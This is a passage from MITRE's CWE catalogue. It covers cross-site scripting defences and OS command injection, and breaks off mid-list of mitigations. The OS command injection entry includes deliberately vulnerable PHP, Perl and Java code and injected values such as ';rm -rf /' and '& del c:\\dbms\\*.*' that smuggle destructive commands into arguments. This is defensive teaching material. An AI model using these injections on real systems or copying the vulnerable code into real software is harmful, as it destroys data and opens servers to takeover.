To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

Effectiveness: Moderate

Black Box

Use the XSS Cheat Sheet [REF-714] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

Effectiveness: Moderate

Note: With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.712OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.725OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.811OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8642011 Top 25 - Insecure Interaction Between Components
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.931OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.10057PK - Input Validation and Representation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1033OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
+ Notes

Applicable Platform

XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.

Relationship

There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCross-site scripting (XSS)
7 Pernicious KingdomsCross-site Scripting
CLASPCross-site scripting
OWASP Top Ten 2007A1ExactCross Site Scripting (XSS)
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A4ExactCross-Site Scripting (XSS) Flaws
WASC8Cross-site Scripting
Software Fault PatternsSFP24Tainted input to command
OMG ASCSMASCSM-CWE-79
+ References
[REF-709] Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". Syngress. 2007.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 31. McGraw-Hill. 2010.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.
[REF-712] "Cross-site scripting". Wikipedia. 2008-08-26. <http://en.wikipedia.org/wiki/Cross-site_scripting>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 13, "Web-Specific Input Issues" Page 413. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-714] RSnake. "XSS (Cross Site Scripting) Cheat Sheet". <http://ha.ckers.org/xss.html>.
[REF-715] Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". <http://msdn.microsoft.com/en-us/library/ms533046.aspx>.
[REF-716] Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!". <http://blogs.msdn.com/cisg/archive/2008/12/15/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live.aspx>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-718] Ivan Ristic. "XSS Defense HOWTO". <http://blog.modsecurity.org/2008/07/do-you-know-how.html>.
[REF-719] OWASP. "Web Application Firewall". <http://www.owasp.org/index.php/Web_Application_Firewall>.
[REF-720] Web Application Security Consortium. "Web Application Firewall Evaluation Criteria". <http://www.webappsec.org/projects/wafec/v1/wasc-wafec-v1.0.html>.
[REF-721] RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHTTPRequest". 2007-07-19.
[REF-722] "XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. <https://bugzilla.mozilla.org/show_bug.cgi?id=380418>.
[REF-723] "Apache Wicket". <http://wicket.apache.org/>.
[REF-724] OWASP. "XSS (Cross Site Scripting) Prevention Cheat Sheet". <http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet>.
[REF-725] OWASP. "DOM based XSS Prevention Cheat Sheet". <http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet>.
[REF-726] Jason Lam. "Top 25 series - Rank 1 - Cross Site Scripting". SANS Software Security Institute. 2010-02-22. <http://blogs.sans.org/appsecstreetfighter/2010/02/22/top-25-series-rank-1-cross-site-scripting/>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Cross Site Scripting", Page 1071. 1st Edition. Addison Wesley. 2006.
[REF-956] Wikipedia. "Samy (computer worm)". 2018-01-16. <https://en.wikipedia.org/wiki/Samy_(computer_worm)>.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-79. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Description, Relationships, Other_Notes, References, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Name
2009-07-27CWE Content TeamMITRE
updated Description
2009-10-29CWE Content TeamMITRE
updated Observed_Examples, Relationships
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Observed_Examples
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Description, Potential_Mitigations, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Description, Name, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated Alternate_Terms, Demonstrative_Examples, Description, Observed_Examples, References, Relationship_Notes, Relationships
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Cross-site Scripting (XSS)
2009-01-12Failure to Sanitize Directives in a Web Page (aka 'Cross-site scripting' (XSS))
2009-05-27Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')
2010-06-21Failure to Preserve Web Page Structure ('Cross-site Scripting')

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Weakness ID: 78
Abstraction: Base
Structure: Simple
Status: Stable
Presentation Filter:
+ Description
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
+ Extended Description

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

  1. The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use system("nslookup [HOSTNAME]") to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing.
  2. The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use "exec([COMMAND])" to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like exec() and CreateProcess(), the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

+ Alternate Terms
Shell injection
Shell metacharacters
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.88Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.184Incomplete List of Disallowed Inputs
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Non-Repudiation

Technical Impact: Execute Unauthorized Code or Commands; DoS: Crash, Exit, or Restart; Read Files or Directories; Modify Files or Directories; Read Application Data; Modify Application Data; Hide Activities

Attackers could execute unauthorized commands, which could then be used to disable the software, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

(bad code)
Example Language: PHP 
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);

The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:

(attack code)
 
;rm -rf /

Which would result in $command being:

(result)
 
ls -l /home/;rm -rf /

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

Example 2

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

(bad code)
Example Language: Perl 
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
while (<$fh>) {
print escapeHTML($_);
print "<br>\n";
}
close($fh);
}

Suppose an attacker provides a domain name like this:

(attack code)
 
cwe.mitre.org%20%3B%20/bin/ls%20-l

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

(result)
 
/path/to/nslookup cwe.mitre.org ; /bin/ls -l

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

Example 3

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

(bad code)
Example Language: Java 
String script = System.getProperty("SCRIPTNAME");
if (script != null)
System.exec(script);

If an attacker has control over this property, then they could modify the property to point to a dangerous program.

Example 4

In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

(bad code)
Example Language: Java 
public String coordinateTransformLatLonToUTM(String coordinates)
{
String utmCoords = null;
try {
String latlonCoords = coordinates;
Runtime rt = Runtime.getRuntime();
Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
// process results of coordinate transform

// ...
}
catch(Exception e) {...}
return utmCoords;
}

However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program.

Example 5

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

(bad code)
Example Language: Java 
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
c:\\util\\rmanDB.bat "
+btype+
"&&c:\\utl\\cleanup.bat\"")

System.Runtime.getRuntime().exec(cmd);
...

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

+ Observed Examples
ReferenceDescription
Canonical example. CGI program does not neutralize "|" metacharacter when invoking a phonebook program.
Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
Web server allows command execution using "|" (pipe) character.
FTP client does not filter "|" from filenames returned by the server, allowing for OS command injection.
Shell metacharacters in a filename in a ZIP archive
Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link.
OS command injection through environment variable.
OS command injection through https:// URLs
Chain: incomplete denylist for OS command injection
Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters.
+ Potential Mitigations

Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Strategy: Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Phase: Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Operation; Implementation

Strategy: Environment Hardening

